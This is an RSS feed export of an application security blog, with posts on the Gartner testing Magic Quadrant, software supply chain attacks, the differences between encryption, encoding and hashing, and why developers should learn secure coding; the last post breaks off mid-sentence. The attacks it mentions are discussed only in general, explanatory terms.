<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-2281490675396238353</atom:id><lastBuildDate>Fri, 29 May 2026 07:35:38 +0000</lastBuildDate><category>Industry</category><category>Misc</category><category>Secure Design</category><category>Tools</category><category>Hacking</category><category>XSS</category><category>Forgot Password</category><category>Session Management</category><category>CSRF</category><category>SDLC</category><category>Supply Chain</category><category>DevSecOps</category><category>Mobile</category><category>Training</category><title>AppSec Notes</title><description>Mulling over various topics in application security.</description><link>http://appsecnotes.blogspot.com/</link><managingEditor>noreply@blogger.com (Dave Ferguson)</managingEditor><generator>Blogger</generator><openSearch:totalResults>67</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-6133651526055765077</guid><pubDate>Sat, 10 Jun 2023 23:00:00 +0000</pubDate><atom:updated>2023-06-10T18:00:14.546-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Industry</category><category domain="http://www.blogger.com/atom/ns#">Supply Chain</category><title>The Gartner MQ for Application Security Testing Is Losing Relevance</title><description>&lt;p&gt;The 2023 edition of the &lt;a href=&quot;https://www.gartner.com/en/documents/4366399&quot;&gt;Gartner Magic Quadrant (MQ) for Application Security Testing&lt;/a&gt; is out! But is anyone paying attention anymore? Many vendors now have a portfolio of SAST, SCA, and DAST tools, and they all check for vulnerabilities. That&#39;s important, but would all of those tests prevented the &lt;a href=&quot;https://www.csoonline.com/article/3613571/the-solarwinds-hack-timeline-who-knew-what-and-when.html&quot;&gt;SolarWinds&lt;/a&gt; or the &lt;a href=&quot;https://techcrunch.com/2023/04/11/3cx-north-korea-cryptocurrency-hack/&quot;&gt;3CX&lt;/a&gt; supply chain attacks where thousands of organizations were affected in each incident?&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The answer is no.&lt;/p&gt;&lt;p&gt;Russian, North Korean, and other advanced threat actors are surgically targeting software suppliers and they aren&#39;t necessarily exploiting known vulnerabilities (CVEs) or vulns in custom code that AST tools are designed to find.&lt;/p&gt;&lt;p&gt;AST tools are on the verge of becoming a commodity anyway. Testing for vulnerabilities still must be done of course. What&#39;s missing is the ability to detect advanced attacks on software supply chains.&lt;/p&gt;&lt;p&gt;I recently joined &lt;a href=&quot;https://www.reversinglabs.com&quot;&gt;ReversingLabs&lt;/a&gt;. We have technology to detect malicious software and prevent it from being released like happened at SolarWinds and 3CX. Not many people have heard of ReversingLabs, but it&#39;s not a startup. They&#39;ve been around for almost 15 years, but just recently started applying their core technology of malware detection to the software supply chain.&lt;/p&gt;&lt;p&gt;Software publishers and software consumers alike can benefit from ReversingLabs&#39; tools. Our binary analysis will decompose (&quot;unpack&quot;) hundreds of different types of files. No source code is required. It will find known malware and secrets embedded in the software, but even more importantly can detect novel attacks by analyzing subtle changes in behaviors or altered digital signatures.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Don&#39;t stop testing for vulnerabilities, but also realize you probably have gaps similar to SolarWinds and 3CX. I outlined some of the reasons these gaps exist in my post &lt;a href=&quot;https://appsecnotes.blogspot.com/2022/08/software-supply-chains-and-security.html&quot;&gt;Software Supply Chains and Security Challenges&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Let&#39;s also see if Gartner considers expanding the Application Security Testing MQ to be the Software Supply Chain Security MQ. The current report focuses on vulnerabilities only, and it&#39;s proving to be insufficient.&lt;br /&gt;&lt;/p&gt;</description><link>http://appsecnotes.blogspot.com/2023/06/the-gartner-mq-for-application-security.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4811079557372612104</guid><pubDate>Wed, 17 Aug 2022 13:51:00 +0000</pubDate><atom:updated>2023-01-07T13:37:46.040-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Industry</category><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Encryption, Encoding, and Hashes, Oh My!</title><description>&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVs0JFq-aEKlMJKXi1v_waU7Ru8ixf4a8_B5TRuvBd_iq8LQazJcOksqKLm2rQjrtlhj-FZu1BCD0-SQ3hGRV_DLd3HGb7oQkt0LlE70poyBxkra-eEQqHdrhBRbsK98bcyYdkChbdiqgYbzRR-IRXDFci8oKRI1zCLqrtl_FZ3LfqjPvW1ZTf7eRKKQ/s1280/LI-article-4.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;719&quot; data-original-width=&quot;1280&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVs0JFq-aEKlMJKXi1v_waU7Ru8ixf4a8_B5TRuvBd_iq8LQazJcOksqKLm2rQjrtlhj-FZu1BCD0-SQ3hGRV_DLd3HGb7oQkt0LlE70poyBxkra-eEQqHdrhBRbsK98bcyYdkChbdiqgYbzRR-IRXDFci8oKRI1zCLqrtl_FZ3LfqjPvW1ZTf7eRKKQ/w640-h360/LI-article-4.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Maybe it&#39;s because many people have entered the cybersecurity field in the past few years, but I&#39;ve been seeing basic security terms used incorrectly lately. As security professionals, we need to have a good handle on the fundamentals to communicate clearly and build trust. Some terms can be confusing at first blush. With this post I&#39;ll explain, at a high level, a few basic terms like encryption, encoding, and hashing that often get mixed up.
  &lt;br /&gt;&lt;br /&gt;But first, let&#39;s talk about the CIA. No, not the Central Intelligence Agency. The CIA I&#39;m referring to is Confidentiality, Integrity, and Availability, also known as the &lt;a href=&quot;https://www.veracode.com/security/application-security-vulnerability-code-flaws-insecure-code&quot;&gt;CIA triad&lt;/a&gt;. The CIA triad was pounded into my brain when I first got into application security and has stuck with me ever since. It is a fundamental concept everyone in cybersecurity should understand. When a vulnerability is exploited or a cyberattack is successful, it will negatively impact one or more of these areas.
  &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
    &lt;li&gt;&lt;b&gt;Confidentiality&lt;/b&gt; means preventing data from being accessed or viewed unless it is properly authorized.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Integrity&lt;/b&gt; means protecting data against unauthorized changes. Without integrity, data is untrustworthy.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Availability&lt;/b&gt; means access to data and systems is maintained. A denial-of-service (DOS) attack aims to prevent or reduce availability.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;Now let&#39;s dive into encryption, encoding, and hashing.
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Encryption&lt;/b&gt; is typically used to protect confidentiality of data and often the integrity of data as well. Encrypted data is also known as ciphertext and it looks like gibberish to the human eye. The one thing that should always jump out to you when you hear the word &quot;encryption&quot; or &quot;encrypted data&quot; is that the data can be decrypted. Decrypting data means you&#39;re reversing the encryption. Decrypted data is also called plaintext or cleartext.
  &lt;br /&gt;&lt;br /&gt;Data becomes encrypted by running it through an encryption algorithm using a key. A key can be a random string of bytes or a password of a certain length. There are two main encryption types - symmetric and asymmetric. The main point to take away is that symmetric encryption uses the same encryption key for encrypting and decrypting data while asymmetric encryption uses a pair of keys, a public one and a private one. With asymmetric encryption, the public key is used to encrypt data and the private key used to decrypt the data. If you see the term &quot;public-key cryptography&quot; or &quot;public key infrastructure&quot;, it means that asymmetric encryption is involved.&lt;br /&gt;&lt;br /&gt;Some common symmetric algorithms include:
  &lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot;&gt;AES&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Triple_DES&quot;&gt;3DES&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Blowfish_(cipher)&quot;&gt;Blowfish&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some common asymmetric algorithms include:&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RSA_(cryptosystem)&quot;&gt;RSA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic-curve_cryptography&quot;&gt;ECC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Pretty_Good_Privacy&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;b&gt;Encoding&lt;/b&gt; involves running some data through an algorithm of some sort. Encoded data is not secure and should never be called encrypted data (even though it often looks like gibberish to humans). It offers no protection when it comes to the confidentiality, integrity, or availability of data.&lt;/p&gt;
&lt;p&gt;There are many different types of encoding, such as:&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Base64&quot;&gt;Base64 encoding&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Character_encodings_in_HTML&quot;&gt;HTML encoding&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Percent-encoding&quot;&gt;URL encoding&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Encoding does have valid and useful purposes. HTML and URL encoding are indispensable when it comes to web browsers and web applications. Base64-encoded data is represented with standard ASCII characters, so it&#39;s perfect for sending images or other binary data over a text-based system like email.&lt;/p&gt;&lt;p&gt;
  Here&#39;s a Base64-encoded string as a example:&lt;span style=&quot;font-family: courier;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;QXBwU2VjIGlzIGZ1biE=&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Keep in mind that if you see an equals sign (or two) at the end of a string, that&#39;s a strong indicator that the data is Base64 encoded.&lt;/p&gt;&lt;b&gt;Hashing&lt;/b&gt; means that data is sent through a one-way, irreversible algorithm. It becomes gibberish and unreadable to the human eye. No one should ever talk about &quot;reversing&quot; or &quot;decrypting&quot; a hash value. It can&#39;t be done. There is no encryption key. You can, however, try to crack a hashed value (a hashed value is often just called a &quot;hash&quot;). Cracking essentially involves a big table of lookups and there are many &lt;a href=&quot;https://resources.infosecinstitute.com/topic/10-popular-password-cracking-tools/&quot;&gt;cracking tools&lt;/a&gt; available to help with such things.
  &lt;p&gt;Common hashing algorithms include:&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/MD5&quot;&gt;MD5&lt;/a&gt; (old and not secure)&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-1&quot;&gt;SHA-1&lt;/a&gt; (also not considered secure anymore)&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-2&quot;&gt;SHA-2&lt;/a&gt; (includes SHA-256 and SHA-512 among others)&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Argon2&quot;&gt;Argon2&lt;/a&gt; (considered best for protecting stored passwords)&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;Finally, if you ever need to hash some data or want to encode or decode some data, take a look at this nice &lt;a href=&quot;https://emn178.github.io/online-tools/index.html&quot;&gt;online utility&lt;/a&gt;. Use it to decode the example Base64-encoded string above!
  &lt;br /&gt;&lt;br /&gt;I hope this article has been helpful to explain one tiny part of the cybersecurity ecosystem.&lt;br /&gt;&lt;/p&gt;

&lt;span style=&quot;font-size: x-small;&quot;&gt;(This post first published as a &lt;a href=&quot;https://www.linkedin.com/pulse/encryption-encoding-hashes-oh-my-dave-ferguson/&quot;&gt;LinkedIn article&lt;/a&gt;)&lt;/span&gt;
&lt;p&gt;&lt;/p&gt;</description><link>http://appsecnotes.blogspot.com/2022/08/encryption-encoding-and-hashes-oh-my.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVs0JFq-aEKlMJKXi1v_waU7Ru8ixf4a8_B5TRuvBd_iq8LQazJcOksqKLm2rQjrtlhj-FZu1BCD0-SQ3hGRV_DLd3HGb7oQkt0LlE70poyBxkra-eEQqHdrhBRbsK98bcyYdkChbdiqgYbzRR-IRXDFci8oKRI1zCLqrtl_FZ3LfqjPvW1ZTf7eRKKQ/s72-w640-h360-c/LI-article-4.jpeg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4064586065241392287</guid><pubDate>Tue, 02 Aug 2022 22:36:00 +0000</pubDate><atom:updated>2023-01-07T13:44:13.551-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Industry</category><category domain="http://www.blogger.com/atom/ns#">Supply Chain</category><title>Software Supply Chains and Security Challenges</title><description>&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCpCLlJA-lCTpxN2jFqrNwjq73JfEHP93m9L2Tn1NrV6k_fgj2G-wFTZXIC1DAJQld1ogf4noNWG3FIKlLYr2x-1m2n0Qp54lnFnckwDRSbViLouRoax7EdLLPUDQz9VD9G15cSgRe1pZl-hmAeowBbTrudKx5QAgxEin6iKDOZ2Y33WYycqBORs_cxw/s1279/LI-article-3.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;719&quot; data-original-width=&quot;1279&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCpCLlJA-lCTpxN2jFqrNwjq73JfEHP93m9L2Tn1NrV6k_fgj2G-wFTZXIC1DAJQld1ogf4noNWG3FIKlLYr2x-1m2n0Qp54lnFnckwDRSbViLouRoax7EdLLPUDQz9VD9G15cSgRe1pZl-hmAeowBbTrudKx5QAgxEin6iKDOZ2Y33WYycqBORs_cxw/w640-h360/LI-article-3.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Recently I took part in a panel discussion and the topic was securing the software supply chain.&amp;nbsp;It&#39;s a hot topic in cybersecurity right now.&amp;nbsp;To prepare for the panel, I decided to look at changes in software development practices over the last decade and how supply chain risks have emerged because of those changes.
  &lt;br /&gt;&lt;br /&gt;Four areas of change came to mind.
  &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;1. Digital transformation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;A remarkable increase in the pervasiveness of software has occurred.&amp;nbsp; It was 11 years ago that Marc Andreessen said that software is eating the world.&amp;nbsp; It&#39;s even more true now.&amp;nbsp;Every company is now a software company.&amp;nbsp; Recently, my wife and I wanted to see the new Top Gun movie.&amp;nbsp;We used Cinemark&#39;s mobile app to review showtimes, reserve our preferred seats, pay for the tickets, and scan a QR code upon arrival.&amp;nbsp; Before digital transformation, Cinemark just showed pictures on a screen and sold popcorn. &amp;nbsp;
  &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;2. Faster time to market
  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;Businesses today need software and applications developed and released quickly to stay relevant and gain a competitive advantage.&amp;nbsp;The need to move faster drove innovation in software development.&amp;nbsp;New practices, technologies, and toolsets came onto the scene including:&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;br /&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Agile development methodologiesDevOps processes&lt;/li&gt;&lt;li&gt;Cloud, containers, and IaC&lt;/li&gt;&lt;li&gt;CI/CD tools to automate builds &amp;amp; deployments&lt;/li&gt;&lt;li&gt;Microservice architectures&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;These innovations improved time-to-market, but have also introduced complexity and new attack vectors.
    &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;3. The rise of open source software&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;According to &lt;a href=&quot;https://www.veracode.com/state-of-software-security-report&quot;&gt;Veracode&#39;s State of Software Security (SOSS) report&lt;/a&gt;, open source code makes up a large part of an application&#39;s codebase.&amp;nbsp; It&#39;s up around 95% for a Java-based application.&amp;nbsp;This led Chris Wysopal, Veracode&#39;s CTO and co-founder, to state:
    &lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;In many respects, development teams have shifted from writing software to assembling software.&quot;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;br /&gt;It is the job of a package manager (e.g., &lt;a href=&quot;https://maven.apache.org/index.html&quot;&gt;Maven&lt;/a&gt; for Java, &lt;a href=&quot;https://www.nuget.org/&quot;&gt;NuGet&lt;/a&gt; for .NET, &lt;a href=&quot;https://docs.npmjs.com/cli/v8/commands/npm#description&quot;&gt;npm&lt;/a&gt; for Node.js) to perform the nitty-gritty details of assembling software, and this includes the complex process of managing direct and transitive dependencies.&amp;nbsp;Package managers generally pull from centralized, public registries where thousands of open source components are hosted and shared.&amp;nbsp;This opened up novel attack vectors, like &lt;a href=&quot;https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610&quot;&gt;dependency confusion&lt;/a&gt;.
    &lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&amp;nbsp;4. Shift to microservices &amp;amp; APIs
    &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;The move away from large, monolithic codebases has accelerated in the last 3-4 years.&amp;nbsp;With microservices, software is broken into smaller, independent parts with communication happening via APIs. This allows for more scalability, flexibility, and resilience.&amp;nbsp;Your organization likely consumes the APIs of service providers and other vendors.&amp;nbsp;As such, they are part of your software supply chain.&amp;nbsp;Poor API security is estimated to cost businesses &lt;a href=&quot;https://www.cpomagazine.com/cyber-security/cybersecurity-incidents-from-poor-api-security-cost-businesses-75-billion-annually/&quot;&gt;$75 billion annually&lt;/a&gt;. In fact OWASP in 2019 by published &lt;a href=&quot;https://www.veracode.com/blog/managing-appsec/testing-owasps-top-10-api-security-vulnerabilities-part-1&quot;&gt;a Top 10 list dedicated to API security&lt;/a&gt;.
    &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Considering these dramatic changes over the last decade or so, it becomes more clear why supply chain attacks are in the news.&amp;nbsp;The bad guys are still scanning systems for open ports and probing web applications for vulnerabilities.&amp;nbsp;Now they are also looking to compromise CI/CD environments, insert malicious code into open source packages, steal cloud provider access keys, hack into APIs, and exploit known vulnerabilities in 3rd-party libraries.&amp;nbsp;They look for weaknesses in your software suppliers too.&amp;nbsp;Any software your company develops, consumes, invokes, or leverages in any way is fair game in the mind of cyberattackers.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Let&#39;s look briefly at two very different software supply chain incidents.
    &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;SolarWinds&lt;/b&gt;&lt;/u&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;SolarWinds is a provider of IT management &amp;amp; monitoring software called Orion. A sophisticated and carefully-planned attack was executed in 2020 where the automated update process for Orion was compromised. Customers who updated their Orion software inadvertently gave the attackers backdoor/shell access to their environment.&amp;nbsp;Up to &lt;a href=&quot;https://arstechnica.com/information-technology/2020/12/18000-organizations-downloaded-backdoor-planted-by-cozy-bear-hackers/&quot;&gt;18,000 organizations were victimized&lt;/a&gt;.&amp;nbsp;SolarWinds said their &quot;software build system&quot; was hacked to insert malicious code.
    &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Log4Shell&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Log4Shell is a vulnerability in a Java open source library called &quot;log4j&quot; that was discovered in December 2021.&amp;nbsp;It&#39;s been called the single, most critical vulnerability of all time. Not only is it extremely severe (CVSS score of 10.0), it&#39;s easily exploitable and very widespread. It was found that &lt;a href=&quot;https://www.wiz.io/blog/10-days-later-enterprises-halfway-through-patching-log4shell/&quot;&gt;93% of cloud enterprise environments were vulnerable&lt;/a&gt;.&amp;nbsp;The vulnerability sat unnoticed in the log4j library since 2013.&amp;nbsp;Organizations around the world were thrown into panic mode scrambling to find where the vulnerable library was being used and quickly patch.
    &lt;br /&gt;&lt;br /&gt;These two incidents are radically different in nature, but both have their roots in the software supply chain.&amp;nbsp;The SolarWinds attackers targeted software supplied to thousands of organizations.&amp;nbsp;It appears they infiltrated the supplier&#39;s CI/CD toolset to insert their own scripts and take advantage of automated DevOps processes.&amp;nbsp;On the other hand, Log4Shell was not a sophisticated nation-state hack, but vast numbers of organizations were impacted because of a reliance on open source software.
    &lt;br /&gt;&lt;br /&gt;There is no one solution or tool to secure the entire software supply chain.&amp;nbsp;There are some &quot;no-brainers&quot; available today to help, like scanning your applications to identify vulnerable open source components. I recommend &lt;a href=&quot;https://www.veracode.com/sca&quot;&gt;Veracode&#39;s Software Composition Analysis&lt;/a&gt; for this.&amp;nbsp;Auditing your CI/CD build systems for access control and integrity is another good step to take. Software bill of materials (&lt;a href=&quot;https://www.veracode.com/blog/intro-appsec/what-sbom-and-why-do-you-need-one&quot;&gt;SBOMs&lt;/a&gt;) is an initiative gaining momentum as well. It will be interesting to see how this area of cybersecurity evolves in the next few years.
    &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;(This post first published as a &lt;a href=&quot;https://www.linkedin.com/pulse/software-supply-chains-security-challenges-dave-ferguson/&quot;&gt;LinkedIn article&lt;/a&gt;)&amp;nbsp;&lt;/span&gt; &lt;/div&gt;
</description><link>http://appsecnotes.blogspot.com/2022/08/software-supply-chains-and-security.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCpCLlJA-lCTpxN2jFqrNwjq73JfEHP93m9L2Tn1NrV6k_fgj2G-wFTZXIC1DAJQld1ogf4noNWG3FIKlLYr2x-1m2n0Qp54lnFnckwDRSbViLouRoax7EdLLPUDQz9VD9G15cSgRe1pZl-hmAeowBbTrudKx5QAgxEin6iKDOZ2Y33WYycqBORs_cxw/s72-w640-h360-c/LI-article-3.jpeg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4761260805131297619</guid><pubDate>Tue, 31 May 2022 23:36:00 +0000</pubDate><atom:updated>2023-01-07T13:26:40.885-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Industry</category><category domain="http://www.blogger.com/atom/ns#">Training</category><title>Do You Code? Security Chops Will Boost Your Career</title><description>&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;As a web application developer 20 years ago, I knew almost nothing about security. I remember building what seemed like a great feature that turned out to be an excellent example of How-to-Enable-a-Successful-Phishing-Attack. I was coding a Java servlet to take HTTP requests from browsers and process them. Wouldn&#39;t it be cool, I thought, if the servlet allowed for redirection to another page or another website if a special URL parameter was present? That could come in really handy! &lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Only later did I realize that I&#39;d coded an &lt;a href=&quot;https://cwe.mitre.org/data/definitions/601.html&quot;&gt;open redirect vulnerability&lt;/a&gt;. This
&quot;feature&quot; actually made it into production, but fortunately the special parameter name was undocumented and not easily guessable. A &lt;a href=&quot;https://www.veracode.com/products/binary-static-analysis-sast&quot;&gt;static analysis&lt;/a&gt; of the codebase would have easily found on this flaw, but no such tools existed back then.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Fast foward 20 years and employers now expect their developers to understand how to code securely. There have been too many successful hacks and appalling data breaches due to vulnerable code and poorly designed software. It&#39;s finally understood that developers play a key role when it comes to cybersecurity.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;For this reason, having security chops as a developer will enhance your career. A &lt;a href=&quot;https://www.techrepublic.com/article/10-fastest-growing-cybersecurity-skills-to-learn-in-2021/&quot;&gt;recent study by Burning Glass Technologies&lt;/a&gt; found that Application Development Security will be the fastest growing cybersecurity skill from 2021 to 2025. The same study reported that on average you&#39;ll get a $12,266 salary boost by possessing that skillset.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Besides the potential for a boost in salary, there&#39;s no better feeling than writing elegant code as a developer. But what if your code allows for SQL injection? That&#39;s not elegant. Elegant code works perfectly to accomplish some task, performs well, and stands up to cyber-attacks.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;To put it another way, successful software is like a 3-legged stool where the legs are functionality, performance, and security. Take away any one leg and it will fall over.&amp;nbsp; &lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lTO4oFwi82Y9amqkkTZ-WHZ6TlSMYoxLBYdbg66P8ZdvUh7zJstowtGL-haS_RIuYnxEwYbN52aAoACsJLbfRE8EH6UUG6tmXvLoltlzaqj-c8K66eOlAxa2RPlqNstlyQCV2qpyd-CiLRWaohiOkEDwMfYcsxkXCqw9Lmix5sgR4gWEYkFAWlXIlA/s676/LI-article-2(labels).jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;676&quot; data-original-width=&quot;430&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lTO4oFwi82Y9amqkkTZ-WHZ6TlSMYoxLBYdbg66P8ZdvUh7zJstowtGL-haS_RIuYnxEwYbN52aAoACsJLbfRE8EH6UUG6tmXvLoltlzaqj-c8K66eOlAxa2RPlqNstlyQCV2qpyd-CiLRWaohiOkEDwMfYcsxkXCqw9Lmix5sgR4gWEYkFAWlXIlA/s320/LI-article-2(labels).jpg&quot; width=&quot;204&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Stepping back for a minute, let&#39;s discuss why developers historically haven&#39;t been interested in security. One of the primary reasons is they simply weren&#39;t incentivized to pay attention to it. Their performance was judged based on delivering working software on time. Security wasn&#39;t a consideration. Additionally, Computer Science programs at colleges and universities typically haven&#39;t taught secure coding. A few electives covering high-level concepts like privacy or cryptography might be available, but usually nothing practical for the real world like using parameterized queries to prevent SQL injection or properly
encoding untrusted data to avoid cross-site scripting.&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;So as a developer, how do you
acquire security skills?&amp;nbsp; &lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;There are many ways to learn. The &lt;a href=&quot;https://owasp.org/Top10/&quot;&gt;OWASP Top 10&lt;/a&gt; is a good place to start. It explains the common types of application vulnerabilities, why they occur, and how they are exploited by adversaries. The Udemy course &lt;a href=&quot;https://www.udemy.com/course/an-introduction-to-owasp-top-10-vulnerabilities/&quot;&gt;An Introduction to OWASP Top 10 Vulnerabilities&lt;/a&gt; is another good resource.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;See if your employer offers
